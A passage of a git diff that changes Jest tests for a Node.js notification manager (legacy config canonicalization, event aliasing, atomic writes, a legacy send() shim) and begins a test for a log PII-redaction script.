NOTIFICATIONS_FILE: NOTIF_FILE,
|
|
||||||
log,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Serializes exactly like the manager does (2-space indent).
|
|
||||||
const ser = (obj) => JSON.stringify(obj, null, 2);
|
|
||||||
|
|
||||||
function loadWithFile(contents, log) {
|
|
||||||
fs.existsSync.mockReturnValue(true);
|
|
||||||
fs.readFileSync.mockReturnValue(contents);
|
|
||||||
return new NotificationManager(makeCtx(log));
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-097 notification config canonicalization write-back', () => {
|
|
||||||
let log;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
jest.clearAllMocks();
|
|
||||||
fs.existsSync.mockReturnValue(false);
|
|
||||||
fs.readFileSync.mockReturnValue('{}');
|
|
||||||
fs.writeFileSync.mockClear();
|
|
||||||
log = { error: jest.fn(), info: jest.fn(), warn: jest.fn() };
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
try { NotificationManager.prototype.stopHealthDaemon && undefined; } catch (_) {}
|
|
||||||
jest.clearAllMocks();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy file (user/pass, camelCase events, string secure) is rewritten on disk in canonical form', () => {
|
|
||||||
const legacy = {
|
|
||||||
enabled: true,
|
|
||||||
providers: {
|
|
||||||
email: {
|
|
||||||
enabled: true,
|
|
||||||
host: 'smtp.test',
|
|
||||||
port: 465,
|
|
||||||
secure: 'false',
|
|
||||||
to: 'me@test',
|
|
||||||
from: 'from@test',
|
|
||||||
user: 'legacy-user',
|
|
||||||
pass: 'legacy-pass',
|
|
||||||
},
|
|
||||||
},
|
|
||||||
events: {
|
|
||||||
containerDown: false,
|
|
||||||
deploymentSuccess: false,
|
|
||||||
},
|
|
||||||
};
|
|
||||||
const nm = loadWithFile(ser(legacy), log);
|
|
||||||
|
|
||||||
// In-memory: canonical (pinned by DC-092 tests, re-pinned here).
|
|
||||||
expect(nm.config.providers.email.username).toBe('legacy-user');
|
|
||||||
expect(nm.config.providers.email.password).toBe('legacy-pass');
|
|
||||||
expect(nm.config.providers.email.secure).toBe(false);
|
|
||||||
expect(nm.config.events['container-down']).toBe(false);
|
|
||||||
expect(nm.config.events['deploy-success']).toBe(false);
|
|
||||||
|
|
||||||
// On-disk write-back: exactly one atomic write (DC-099: write tmp → fsync → rename).
|
|
||||||
expect(fs.renameSync).toHaveBeenCalledTimes(1);
|
|
||||||
expect(fs.renameSync.mock.calls[0][1]).toBe(NOTIF_FILE);
|
|
||||||
const contentsArg = fs.writeSync.mock.calls[0][1];
|
|
||||||
const written = JSON.parse(contentsArg);
|
|
||||||
expect(written.providers.email.username).toBe('legacy-user');
|
|
||||||
expect(written.providers.email.password).toBe('legacy-pass');
|
|
||||||
expect(written.providers.email.user).toBeUndefined();
|
|
||||||
expect(written.providers.email.pass).toBeUndefined();
|
|
||||||
expect(written.providers.email.secure).toBe(false);
|
|
||||||
expect(written.events['container-down']).toBe(false);
|
|
||||||
written.events && expect(Object.keys(written.events)).not.toContain('containerDown');
|
|
||||||
nm.stopHealthDaemon && nm.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write-back is idempotent: an already-canonical file is not rewritten', () => {
|
|
||||||
// First load performs the write-back; capture what it wrote.
|
|
||||||
const legacy = ser({
|
|
||||||
providers: { email: { user: 'u', pass: 'p', secure: 'false' } },
|
|
||||||
events: { containerDown: true },
|
|
||||||
});
|
|
||||||
const first = loadWithFile(legacy, log);
|
|
||||||
expect(fs.renameSync).toHaveBeenCalledTimes(1);
|
|
||||||
const canonicalContents = fs.writeSync.mock.calls[0][1];
|
|
||||||
first.stopHealthDaemon && first.stopHealthDaemon();
|
|
||||||
fs.renameSync.mockClear();
|
|
||||||
fs.writeSync.mockClear();
|
|
||||||
|
|
||||||
// Second load against the canonical bytes: no write.
|
|
||||||
const second = loadWithFile(canonicalContents, log);
|
|
||||||
expect(fs.renameSync).not.toHaveBeenCalled();
|
|
||||||
expect(second.config.providers.email.username).toBe('u');
|
|
||||||
second.stopHealthDaemon && second.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('legacy keys absent → no write at all (clean file untouched)', () => {
|
|
||||||
// Fully canonical: matches the merged config after serialization.
|
|
||||||
// Build it by round-tripping: write-back from a minimal legacy file
|
|
||||||
// produces the canonical full shape; feed those exact bytes back.
|
|
||||||
const nm = loadWithFile(ser({ enabled: true }), log); // 1 write (defaults fill-in)
|
|
||||||
const canonicalContents = fs.writeSync.mock.calls[0][1];
|
|
||||||
nm.stopHealthDaemon && nm.stopHealthDaemon();
|
|
||||||
fs.renameSync.mockClear();
|
|
||||||
fs.writeSync.mockClear();
|
|
||||||
const again = loadWithFile(canonicalContents, log);
|
|
||||||
expect(fs.renameSync).not.toHaveBeenCalled();
|
|
||||||
again.stopHealthDaemon && again.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write failure (EACCES) does not throw out of the constructor and in-memory config stays correct', () => {
|
|
||||||
const legacy = ser({
|
|
||||||
providers: { email: { user: 'u2', pass: 'p2' } },
|
|
||||||
events: { workflowDone: true },
|
|
||||||
});
|
|
||||||
fs.openSync.mockImplementation(() => { throw new Error('EACCES: permission denied'); });
|
|
||||||
let nm;
|
|
||||||
expect(() => { nm = loadWithFile(legacy, log); }).not.toThrow();
|
|
||||||
expect(nm.config.providers.email.username).toBe('u2');
|
|
||||||
expect(nm.config.events['workflow']).toBe(true);
|
|
||||||
// Warn surfaced, no error-level log (load itself succeeded).
|
|
||||||
expect(log.warn).toHaveBeenCalled();
|
|
||||||
expect(log.error).not.toHaveBeenCalled();
|
|
||||||
nm.stopHealthDaemon && nm.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('no file on disk → no read, no write (fresh install untouched)', () => {
|
|
||||||
fs.existsSync.mockReturnValue(false);
|
|
||||||
const nm = new NotificationManager(makeCtx(log));
|
|
||||||
expect(fs.readFileSync).not.toHaveBeenCalled();
|
|
||||||
expect(fs.renameSync).not.toHaveBeenCalled();
|
|
||||||
nm.stopHealthDaemon && nm.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,233 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-094: remaining gate-miss notification emitters + legacy 4-arg send shape.
|
|
||||||
*
|
|
||||||
* Part 1 — seven emitters were absent from DEFAULT events, so the send()
|
|
||||||
* gate (config.events[canonical] !== true) silently dropped them all:
|
|
||||||
* ssl-cert-expiry (ssl-monitor), dns-propagation (dns-propagation),
|
|
||||||
* drift-detected (config-drift-detector), dependency-restart-complete/-failed
|
|
||||||
* (dependency-manager), recipe-removed (recipes/manage), workflow
|
|
||||||
* (bundled-workflows). Stored configs must inherit the new defaults via the
|
|
||||||
* _mergeConfig shallow per-key merge.
|
|
||||||
*
|
|
||||||
* Part 2 — nine in-repo call sites used a legacy 4-arg shape
|
|
||||||
* send(event, title, message, type) against the 3-arg signature: the message
|
|
||||||
* string landed in the `type` slot (embed color fell back) and providers got
|
|
||||||
* the TITLE as the body. send() now shims that shape, and the explicit title
|
|
||||||
* flows to ntfy/email subjects and the Discord embed title.
|
|
||||||
*
|
|
||||||
* Part 3 — route EVENT_KEY_ALIASES and manager EVENT_ALIASES stay in sync:
|
|
||||||
* recipeRemoved and the dependency-restart spellings fold in both places.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const nodemailer = require('nodemailer');
|
|
||||||
|
|
||||||
jest.mock('fs', () => ({
|
|
||||||
existsSync: jest.fn().mockReturnValue(false),
|
|
||||||
readFileSync: jest.fn().mockReturnValue('{}'),
|
|
||||||
writeFileSync: jest.fn(),
|
|
||||||
mkdirSync: jest.fn(),
|
|
||||||
}));
|
|
||||||
|
|
||||||
jest.mock('nodemailer', () => ({
|
|
||||||
createTransport: jest.fn(() => ({
|
|
||||||
sendMail: jest.fn().mockResolvedValue({ messageId: 'mock' }),
|
|
||||||
})),
|
|
||||||
}));
|
|
||||||
|
|
||||||
const NotificationManager = require('../src/managers/notification-manager');
|
|
||||||
|
|
||||||
describe('DC-094 NotificationManager', () => {
|
|
||||||
let nm;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
jest.clearAllMocks();
|
|
||||||
fs.existsSync.mockReturnValue(false);
|
|
||||||
fs.readFileSync.mockReturnValue('{}');
|
|
||||||
nm = new NotificationManager({
|
|
||||||
NOTIFICATIONS_FILE: '/tmp/dc094-notif-test.json',
|
|
||||||
log: { error: jest.fn(), info: jest.fn(), warn: jest.fn() },
|
|
||||||
fetchT: jest.fn(),
|
|
||||||
docker: null,
|
|
||||||
});
|
|
||||||
// jest.config restoreMocks strips the factory nodemailer implementation
|
|
||||||
// before every test; re-establish it and capture the sendMail mock so
|
|
||||||
// email assertions don't depend on module state.
|
|
||||||
nodemailer.createTransport.mockImplementation(() => {
|
|
||||||
mailMock = jest.fn().mockResolvedValue({ messageId: 'mock' });
|
|
||||||
return { sendMail: mailMock };
|
|
||||||
});
|
|
||||||
// Same aliasing hazard as providers: without a config file the
|
|
||||||
// constructor's spread aliases module-level DEFAULT_CONFIG.events, so
|
|
||||||
// gate-mutation tests would poison every later instance.
|
|
||||||
nm.config.events = { ...nm.config.events };
|
|
||||||
});
|
|
||||||
|
|
||||||
let mailMock;
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
nm.stopHealthDaemon();
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('new events present in DEFAULT events (gate-miss fix)', () => {
|
|
||||||
const newlyGated = [
|
|
||||||
'ssl-cert-expiry',
|
|
||||||
'dns-propagation',
|
|
||||||
'drift-detected',
|
|
||||||
'dependency-restart',
|
|
||||||
'recipe-removed',
|
|
||||||
'workflow',
|
|
||||||
];
|
|
||||||
|
|
||||||
test.each(newlyGated)('%s defaults to enabled', (event) => {
|
|
||||||
expect(nm.config.events[event]).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each(newlyGated)('%s passes the send() gate by default', async (event) => {
|
|
||||||
nm.config.providers.discord = { enabled: false }; // no providers -> send short-circuits after the gate
|
|
||||||
const result = await nm.send(event, { text: 'x' });
|
|
||||||
expect(result.error).not.toBe(`Event ${event} not enabled`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('dependency-restart spellings alias onto the single canonical toggle', async () => {
|
|
||||||
nm.config.events['dependency-restart'] = false;
|
|
||||||
const complete = await nm.send('dependency-restart-complete', { text: 'x' });
|
|
||||||
const failed = await nm.send('dependency-restart-failed', { text: 'x' });
|
|
||||||
expect(complete.error).toBe('Event dependency-restart not enabled');
|
|
||||||
expect(failed.error).toBe('Event dependency-restart not enabled');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('recipeRemoved camelCase alias folds onto recipe-removed', async () => {
|
|
||||||
nm.config.events['recipe-removed'] = false;
|
|
||||||
const result = await nm.send('recipeRemoved', { text: 'x' });
|
|
||||||
expect(result.error).toBe('Event recipe-removed not enabled');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('stored pre-DC-094 configs inherit the new event defaults via merge', () => {
|
|
||||||
// A config saved before this fix has none of the new keys. After load,
|
|
||||||
// the defaults merge must supply them as enabled.
|
|
||||||
const legacyFile = JSON.stringify({
|
|
||||||
enabled: true,
|
|
||||||
providers: { discord: { enabled: false, webhookUrl: '' } },
|
|
||||||
events: { 'container-down': true, alert: true },
|
|
||||||
});
|
|
||||||
fs.existsSync.mockReturnValue(true);
|
|
||||||
fs.readFileSync.mockReturnValue(legacyFile);
|
|
||||||
const loaded = new NotificationManager({
|
|
||||||
NOTIFICATIONS_FILE: '/tmp/dc094-notif-test.json',
|
|
||||||
log: { error: jest.fn(), info: jest.fn(), warn: jest.fn() },
|
|
||||||
fetchT: jest.fn(),
|
|
||||||
docker: null,
|
|
||||||
});
|
|
||||||
for (const event of newlyGated) {
|
|
||||||
expect(loaded.config.events[event]).toBe(true);
|
|
||||||
}
|
|
||||||
// operator choice preserved, not clobbered by defaults
|
|
||||||
expect(loaded.config.events['container-down']).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('stored legacy dependency-restart spellings fold at load', () => {
|
|
||||||
const legacyFile = JSON.stringify({
|
|
||||||
enabled: true,
|
|
||||||
events: { 'dependency-restart-complete': false },
|
|
||||||
});
|
|
||||||
fs.existsSync.mockReturnValue(true);
|
|
||||||
fs.readFileSync.mockReturnValue(legacyFile);
|
|
||||||
const loaded = new NotificationManager({
|
|
||||||
NOTIFICATIONS_FILE: '/tmp/dc094-notif-test.json',
|
|
||||||
log: { error: jest.fn(), info: jest.fn(), warn: jest.fn() },
|
|
||||||
fetchT: jest.fn(),
|
|
||||||
docker: null,
|
|
||||||
});
|
|
||||||
expect(loaded.config.events['dependency-restart']).toBe(false);
|
|
||||||
expect(loaded.config.events['dependency-restart-complete']).toBeUndefined();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('legacy 4-arg send shape shim', () => {
|
|
||||||
beforeEach(() => {
|
|
||||||
// Fresh providers object per test: on the no-config-file constructor
|
|
||||||
// path this.config.providers aliases module-level DEFAULT_CONFIG.providers,
|
|
||||||
// so per-provider mutation in one test otherwise leaks into the next.
|
|
||||||
nm.config.providers = {
|
|
||||||
discord: { enabled: false, webhookUrl: '' },
|
|
||||||
telegram: { enabled: false, botToken: '', chatId: '' },
|
|
||||||
ntfy: { enabled: false, topic: '', serverUrl: 'https://ntfy.sh' },
|
|
||||||
email: { enabled: false, host: '', port: 587, to: '', from: '', username: '', password: '' },
|
|
||||||
};
|
|
||||||
nm.config.providers.ntfy = { enabled: true, topic: 'dc094', serverUrl: 'https://ntfy.sh' };
|
|
||||||
nm.ctx.fetchT = jest.fn().mockResolvedValue({ ok: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
const ntfyCall = (n) => n.ctx.fetchT.mock.calls.find(c => String(c[0]).includes('ntfy.sh'));
|
|
||||||
const discordCall = (n) => n.ctx.fetchT.mock.calls.find(c => String(c[0]).includes('hook.test'));
|
|
||||||
|
|
||||||
test('send(event, title, message, type) delivers the message as body', async () => {
|
|
||||||
const result = await nm.send('deploymentFailed', 'Recipe Failed', 'Failed to deploy **plex**: boom', 'error');
|
|
||||||
expect(result.success).toBe(true);
|
|
||||||
const body = ntfyCall(nm)[1].body;
|
|
||||||
expect(body).toBe('Failed to deploy **plex**: boom');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('the explicit legacy title reaches the ntfy Title header', async () => {
|
|
||||||
await nm.send('deploymentFailed', 'Recipe Failed', 'boom', 'error');
|
|
||||||
const headers = ntfyCall(nm)[1].headers;
|
|
||||||
expect(headers.Title).toBe('Recipe Failed');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('canonical-title events without data.title still get the mapped title', async () => {
|
|
||||||
await nm.send('ssl-cert-expiry', { text: 'expiring' }, 'warning');
|
|
||||||
const headers = ntfyCall(nm)[1].headers;
|
|
||||||
expect(headers.Title).toBe('SSL Certificate Expiry');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('Discord embed carries the explicit title and the right severity color', async () => {
|
|
||||||
nm.config.providers.discord = { enabled: true, webhookUrl: 'https://hook.test/x' };
|
|
||||||
nm.config.providers.ntfy = { enabled: false };
|
|
||||||
await nm.send('deploymentFailed', 'Recipe Failed', 'boom', 'error');
|
|
||||||
const payload = JSON.parse(discordCall(nm)[1].body);
|
|
||||||
expect(payload.embeds[0].title).toBe('Recipe Failed');
|
|
||||||
expect(payload.embeds[0].description).toBe('boom');
|
|
||||||
expect(payload.embeds[0].color).toBe(15158332); // error/red, not the info-blue fallback
|
|
||||||
});
|
|
||||||
|
|
||||||
test('email subject uses the explicit title', async () => {
|
|
||||||
nm.config.providers.email = { enabled: true, host: 'smtp.test', port: 587, to: 'a@b.c', from: 'd@e.f', username: '', password: '' };
|
|
||||||
nm.config.providers.ntfy = { enabled: false };
|
|
||||||
await nm.send('deploymentSuccess', 'Recipe Deployed', 'plex deployed', 'success');
|
|
||||||
expect(mailMock.mock.calls.length).toBeGreaterThan(0);
|
|
||||||
const last = mailMock.mock.calls[mailMock.mock.calls.length - 1];
|
|
||||||
expect(last[0].subject).toBe('Recipe Deployed');
|
|
||||||
expect(last[0].text).toBe('plex deployed');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('history records the canonical event and the explicit title', async () => {
|
|
||||||
await nm.send('recipeRemoved', 'Recipe Removed', 'Removed **plex** recipe (3 containers).', 'info');
|
|
||||||
const entry = nm.getHistory()[0];
|
|
||||||
expect(entry.event).toBe('recipe-removed');
|
|
||||||
expect(entry.title).toBe('Recipe Removed');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('3-arg object calls are unchanged (no regression)', async () => {
|
|
||||||
await nm.send('alert', { text: 'resource spike' }, 'warning');
|
|
||||||
const body = ntfyCall(nm)[1].body;
|
|
||||||
expect(body).toBe('resource spike');
|
|
||||||
const headers = ntfyCall(nm)[1].headers;
|
|
||||||
expect(headers.Title).toBe('Resource Alert');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('shim is type-guarded: a 4th arg with object data is not rewritten', async () => {
|
|
||||||
const data = { text: 'kept' };
|
|
||||||
await nm.send('alert', data, 'warning', 'stray-extra');
|
|
||||||
// Object data passes through untouched (stray 4th arg ignored, not
|
|
||||||
// treated as a legacy type) — the shim only fires for legacy
|
|
||||||
// string-title calls.
|
|
||||||
const body = ntfyCall(nm)[1].body;
|
|
||||||
expect(body).toBe('kept');
|
|
||||||
const entry = nm.getHistory()[0];
|
|
||||||
expect(entry.type).toBe('warning');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -10,13 +10,6 @@ jest.mock('fs', () => ({
|
|||||||
readFileSync: jest.fn().mockReturnValue('{}'),
|
readFileSync: jest.fn().mockReturnValue('{}'),
|
||||||
writeFileSync: jest.fn(),
|
writeFileSync: jest.fn(),
|
||||||
mkdirSync: jest.fn(),
|
mkdirSync: jest.fn(),
|
||||||
// DC-099 atomic write path (open tmp → write → fsync → close → rename).
|
|
||||||
openSync: jest.fn().mockReturnValue(3),
|
|
||||||
writeSync: jest.fn(),
|
|
||||||
fsyncSync: jest.fn(),
|
|
||||||
closeSync: jest.fn(),
|
|
||||||
renameSync: jest.fn(),
|
|
||||||
unlinkSync: jest.fn(),
|
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('nodemailer', () => ({
|
jest.mock('nodemailer', () => ({
|
||||||
@@ -70,12 +63,10 @@ describe('NotificationManager', () => {
|
|||||||
fs.existsSync.mockReturnValue(false);
|
fs.existsSync.mockReturnValue(false);
|
||||||
await nm.saveConfig();
|
await nm.saveConfig();
|
||||||
expect(fs.mkdirSync).toHaveBeenCalled();
|
expect(fs.mkdirSync).toHaveBeenCalled();
|
||||||
// DC-099: atomic write path — payload lands via writeSync, then tmp is renamed onto the target.
|
expect(fs.writeFileSync).toHaveBeenCalled();
|
||||||
expect(fs.writeSync).toHaveBeenCalled();
|
const callArgs = fs.writeFileSync.mock.calls[0];
|
||||||
expect(fs.renameSync).toHaveBeenCalled();
|
expect(callArgs[0]).toBe(NOTIF_FILE);
|
||||||
const writeArgs = fs.writeSync.mock.calls[0];
|
expect(callArgs[1]).toContain('enabled');
|
||||||
expect(fs.renameSync.mock.calls[0][1]).toBe(NOTIF_FILE);
|
|
||||||
expect(writeArgs[1]).toContain('enabled');
|
|
||||||
});
|
});
|
||||||
|
|
||||||
test('loadConfig merges file content with defaults', () => {
|
test('loadConfig merges file content with defaults', () => {
|
||||||
@@ -223,99 +214,4 @@ describe('NotificationManager', () => {
|
|||||||
nm.stopHealthDaemon();
|
nm.stopHealthDaemon();
|
||||||
expect(nm.healthDaemonInterval).toBeNull();
|
expect(nm.healthDaemonInterval).toBeNull();
|
||||||
});
|
});
|
||||||
|
|
||||||
// ── DC-092: event alias folding + legacy config canonicalization ──────────
|
|
||||||
|
|
||||||
test('DC-092: send() folds camelCase aliases onto canonical kebab keys', async () => {
|
|
||||||
// deploymentSuccess (emitted by routes/apps/deploy.js) previously hit a
|
|
||||||
// gate miss (no such key in events) and the notification was dropped.
|
|
||||||
const result = await nm.send('deploymentSuccess', { text: 'deployed' });
|
|
||||||
expect(result.error).toBeUndefined();
|
|
||||||
expect(nm.getHistory()[0].event).toBe('deploy-success');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-092: send() accepts the canonical kebab spelling too', async () => {
|
|
||||||
const result = await nm.send('deploy-success', { text: 'deployed' });
|
|
||||||
expect(result.error).toBeUndefined();
|
|
||||||
expect(nm.getHistory()[0].event).toBe('deploy-success');
|
|
||||||
});
|
|
||||||
|
|
||||||
test("DC-092: send('test') bypasses the events gate (Test button works)", async () => {
|
|
||||||
const result = await nm.send('test', { text: 'Test Notification' });
|
|
||||||
// No providers are enabled in the default config, so results is empty —
|
|
||||||
// but the gate must NOT return 'Event test not enabled' like it used to.
|
|
||||||
expect(result.error).toBeUndefined();
|
|
||||||
expect(nm.getHistory()[0].event).toBe('test');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-092: send() still gates unknown and disabled events', async () => {
|
|
||||||
const unknown = await nm.send('some-unknown-event', { text: 'x' });
|
|
||||||
expect(unknown.success).toBe(false);
|
|
||||||
expect(unknown.error).toMatch(/not enabled/i);
|
|
||||||
|
|
||||||
nm.config.events['container-down'] = false;
|
|
||||||
const disabled = await nm.send('container-down', { text: 'x' });
|
|
||||||
expect(disabled.success).toBe(false);
|
|
||||||
expect(disabled.error).toMatch(/not enabled/i);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-092: DEFAULT_CONFIG includes deploy/auto-restart events', () => {
|
|
||||||
// Regression pin: these were absent entirely, so deploy notifications
|
|
||||||
// were dropped for every install regardless of UI toggles.
|
|
||||||
expect(nm.config.events['deploy-success']).toBe(true);
|
|
||||||
expect(nm.config.events['deploy-failed']).toBe(true);
|
|
||||||
expect(nm.config.events['auto-restart']).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-092: legacy config with user/pass and camelCase events canonicalizes on load', () => {
|
|
||||||
fs.existsSync.mockReturnValue(true);
|
|
||||||
fs.readFileSync.mockReturnValue(JSON.stringify({
|
|
||||||
enabled: true,
|
|
||||||
providers: {
|
|
||||||
email: {
|
|
||||||
enabled: true,
|
|
||||||
host: 'smtp.test',
|
|
||||||
port: 465,
|
|
||||||
secure: 'false', // legacy string — must normalize to boolean false
|
|
||||||
to: 'me@test',
|
|
||||||
from: 'from@test',
|
|
||||||
user: 'legacy-user',
|
|
||||||
pass: 'legacy-pass',
|
|
||||||
}
|
|
||||||
},
|
|
||||||
events: {
|
|
||||||
containerDown: false,
|
|
||||||
deploymentSuccess: false,
|
|
||||||
}
|
|
||||||
}));
|
|
||||||
const loaded = new NotificationManager({
|
|
||||||
NOTIFICATIONS_FILE: NOTIF_FILE,
|
|
||||||
log: { error: jest.fn(), info: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
|
||||||
const email = loaded.getConfig().providers.email;
|
|
||||||
expect(email.username).toBe('legacy-user');
|
|
||||||
expect(email.password).toBe('legacy-pass');
|
|
||||||
expect(email.user).toBeUndefined();
|
|
||||||
expect(email.pass).toBeUndefined();
|
|
||||||
expect(email.secure).toBe(false);
|
|
||||||
const events = loaded.getConfig().events;
|
|
||||||
expect(events['container-down']).toBe(false);
|
|
||||||
expect(events['deploy-success']).toBe(false);
|
|
||||||
expect(events.containerDown).toBeUndefined();
|
|
||||||
expect(events.deploymentSuccess).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DC-092: canonical keys win when both spellings exist in a legacy file', () => {
|
|
||||||
fs.existsSync.mockReturnValue(true);
|
|
||||||
fs.readFileSync.mockReturnValue(JSON.stringify({
|
|
||||||
providers: { email: { user: 'legacy', username: 'canonical' } },
|
|
||||||
events: { containerDown: false, 'container-down': true },
|
|
||||||
}));
|
|
||||||
const loaded = new NotificationManager({
|
|
||||||
NOTIFICATIONS_FILE: NOTIF_FILE,
|
|
||||||
log: { error: jest.fn(), info: jest.fn(), warn: jest.fn() },
|
|
||||||
});
|
|
||||||
expect(loaded.getConfig().providers.email.username).toBe('canonical');
|
|
||||||
expect(loaded.getConfig().events['container-down']).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -131,7 +131,6 @@ function readMountedRoutes() {
|
|||||||
'routes/license.js', // apiRouter.use('/license', licenseRoutes({...}))
|
'routes/license.js', // apiRouter.use('/license', licenseRoutes({...}))
|
||||||
'routes/share.js', // apiRouter.use(shareRoutes({...})) // bare mount (DC-053)
|
'routes/share.js', // apiRouter.use(shareRoutes({...})) // bare mount (DC-053)
|
||||||
'routes/services.js', // apiRouter.use(serviceRoutes({...})) // bare mount — needed for /api/v1/services + /api/v1/services/status PUBLIC_ROUTES
|
'routes/services.js', // apiRouter.use(serviceRoutes({...})) // bare mount — needed for /api/v1/services + /api/v1/services/status PUBLIC_ROUTES
|
||||||
'routes/version.js', // apiRouter.use(versionRoute.buildRouter()) // bare mount — needed for /api/v1/version PUBLIC_ROUTES
|
|
||||||
];
|
];
|
||||||
// Prefix map: explicit prefix from src/app.js's apiRouter.use() call
|
// Prefix map: explicit prefix from src/app.js's apiRouter.use() call
|
||||||
const prefixMap = {
|
const prefixMap = {
|
||||||
@@ -152,12 +151,6 @@ function readMountedRoutes() {
|
|||||||
try {
|
try {
|
||||||
factory = require(fullPath);
|
factory = require(fullPath);
|
||||||
} catch (e) { continue; }
|
} catch (e) { continue; }
|
||||||
// Support object exports that expose buildRouter() (e.g. routes/version.js
|
|
||||||
// exports { buildRouter, getVersion, getName }) — normalize to the factory
|
|
||||||
// so the walker sees the routes it actually mounts in production.
|
|
||||||
if (factory && typeof factory.buildRouter === 'function') {
|
|
||||||
factory = factory.buildRouter;
|
|
||||||
}
|
|
||||||
if (typeof factory !== 'function') continue;
|
if (typeof factory !== 'function') continue;
|
||||||
let router;
|
let router;
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -1,213 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-098 — redact-log-pii.js (one-shot PII redaction for pre-DC-095 logs)
|
|
||||||
*
|
|
||||||
* Verifies:
|
|
||||||
* 1. Raw emails in a log file are rewritten with the canonical mask shape.
|
|
||||||
* 2. Idempotence — second run leaves the file byte-identical (no rewrite).
|
|
||||||
* 3. Clean file is untouched (mtime + content preserved).
|
|
||||||
* 4. --dry-run changes nothing on disk but reports the hit.
|
|
||||||
* 5. Exit 2 when the post-verify finds remaining raw addresses (simulated).
|
|
||||||
* 6. Canonical masker export round-trip matches the live logger's shape.
|
|
||||||
* 7. --keep-raw writes <file>.raw-<epoch> alongside the redacted file.
|
|
||||||
* 8. Non-emails (root@hostname, image@sha256, 2026-08-22@x false hits) pass
|
|
||||||
* through — bounded regex intentionally does not match them.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
const path = require('path');
|
|
||||||
const { execFileSync } = require('child_process');
|
|
||||||
|
|
||||||
const SCRIPT = path.join(__dirname, '..', 'scripts', 'redact-log-pii.js');
|
|
||||||
const {
|
|
||||||
EMAIL_RE,
|
|
||||||
maskEmailAddress,
|
|
||||||
maskEmailsInString,
|
|
||||||
} = require('../src/utils/logging');
|
|
||||||
|
|
||||||
function run(args) {
|
|
||||||
return execFileSync('node', [SCRIPT, ...args], {
|
|
||||||
encoding: 'utf8',
|
|
||||||
stdio: ['ignore', 'pipe', 'pipe'],
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
let tmpRoot;
|
|
||||||
beforeAll(() => {
|
|
||||||
tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'dc098-'));
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
fs.rmSync(tmpRoot, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-098 canonical masker exports (src/utils/logging.js)', () => {
|
|
||||||
test('mask shape matches live logger ("sa****@example.com")', () => {
|
|
||||||
expect(maskEmailAddress('sami@example.com')).toBe('sa****@example.com');
|
|
||||||
// local <= 2 chars keeps only the first char (canonical shape)
|
|
||||||
expect(maskEmailAddress('ab@x.io')).toBe('a****@x.io');
|
|
||||||
expect(maskEmailAddress('a@x.io')).toBe('a****@x.io'); // <=2 local chars
|
|
||||||
});
|
|
||||||
|
|
||||||
test('maskEmailsInString is exported and masks embedded emails', () => {
|
|
||||||
expect(maskEmailsInString('user john.doe@corp.com here')).toBe(
|
|
||||||
'user jo****@corp.com here'
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('mask output cannot re-match EMAIL_RE (idempotence basis)', () => {
|
|
||||||
const masked = maskEmailsInString('john.doe@corp.com');
|
|
||||||
const re = new RegExp(EMAIL_RE.source, EMAIL_RE.flags);
|
|
||||||
expect(re.test(masked)).toBe(false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-098 redact-log-pii.js end-to-end', () => {
|
|
||||||
test('redacts raw emails in a file with the canonical shape', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case1-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
fs.writeFileSync(f, 'line1 clean\nemail: jane.doe@example.com\nline3\n');
|
|
||||||
|
|
||||||
const out = run([f]);
|
|
||||||
expect(out).toContain('redacted: ');
|
|
||||||
expect(out).toContain('1 addresses');
|
|
